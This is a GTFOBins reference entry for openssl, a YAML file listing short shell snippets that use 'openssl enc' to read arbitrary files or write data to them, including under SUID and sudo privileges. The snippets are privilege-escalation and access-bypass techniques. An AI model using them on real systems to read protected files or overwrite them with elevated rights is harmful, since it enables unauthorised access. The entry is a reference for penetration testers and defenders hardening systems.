GTFOBins.github.io/_gtfobins/openssl.md

25 lines
538 B
Markdown
Raw Normal View History

2018-12-17 14:46:30 +01:00
---
functions:
file-write:
- code: |
LFILE=file_to_write
echo DATA | openssl enc -out "$LFILE"
- code: |
LFILE=file_to_write
TF=$(mktemp)
echo "DATA" > $TF
openssl enc -in "$TF" -out "$LFILE"
file-read:
- code: |
LFILE=file_to_read
openssl enc -in "$LFILE"
suid:
- code: |
LFILE=file_to_write
echo DATA | openssl enc -out "$LFILE"
sudo:
- code: |
LFILE=file_to_write
echo DATA | sudo openssl enc -out "$LFILE"
---